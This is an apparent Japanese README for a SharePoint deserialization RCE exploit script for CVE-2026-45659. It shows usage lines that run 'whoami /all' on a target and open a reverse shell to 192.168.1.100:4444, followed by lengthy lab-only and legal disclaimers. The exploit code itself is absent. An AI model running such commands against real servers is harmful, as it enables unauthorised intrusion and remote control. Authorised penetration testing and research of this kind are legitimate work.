CVE-2026-45659

Microsoft Office SharePoint における信頼できないデータのデシリアライゼーションにより、認証された攻撃者がネットワーク経由でコードを実行できる可能性があります。

⚡ 簡単な使用方法

このプロジェクトは、安全で許可された環境でのみ使用してください。例：

• ローカル仮想マシン
• Docker コンテナ
• 隔離されたラボ環境
• 許可された侵入テスト環境

セットアップ例：

git clone <repository-url>
cd <repository-name>

使用例：

# 依存関係のインストール
pip install -r requirements.txt

# 基本的なコマンド実行
python cve-2026-45659.py -t http://sp.lab.local -u lab\\testuser -p Password123 -l "Documents" -c "whoami /all"

# リバースシェル
python cve-2026-45659.py -t http://sp.lab.local -u lab\\testuser -p Password123 -l "Documents" --reverse --ip 192.168.1.100 --port 4444

クレジットまたは参考情報

• https://nvd.nist.gov/vuln/detail/CVE-2026-45659
• CVE-2026-45659-SharePoint-RCE-amnsecurity: https://github.com/amnsecurity/CVE-2026-45659-SharePoint-RCE

📚 教育向けセキュリティ研究リポジトリ

管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。

⚠️ セキュリティおよび法的免責事項

目的

このリポジトリは教育および許可されたセキュリティ研究のみを目的としています。

以下のことについて学ぶためのものです：

• セキュリティの脆弱性
• サンドボックスおよび隔離の概念
• 安全なコーディングと防御的なプラクティス

許可された使用のみ

このリポジトリは、許可を得ている環境でのみ使用してください。例：

• 個人のラボまたは仮想マシン
• Docker または隔離された環境
• 許可された侵入テスト
• サイバーセキュリティトレーニングまたは学術研究

許可されていない、または違法な使用は固く禁じられています。

責任の否認

作成者およびコントリビューターは、このプロジェクトによって生じたいかなる損害、誤用、法的問題、損失についても責任を負いません。

このリポジトリを使用することにより、以下に同意したものとみなされます：

• 自身の行動に責任を持つこと
• 合法的かつ倫理的に使用すること
• プロジェクトは無保証で提供されること

倫理的な使用

このプロジェクトは以下の目的を意図しています：

• 防御的なセキュリティ研究
• サイバーセキュリティ教育
• 脆弱性の認識向上
• 安全なシステムおよびソフトウェアの研究

責任ある開示の慣行に従い、該当するすべての法律を遵守してください。

連絡先

責任ある開示やコラボレーションについては、GitHub を通じてリポジトリメンテナーに連絡してください。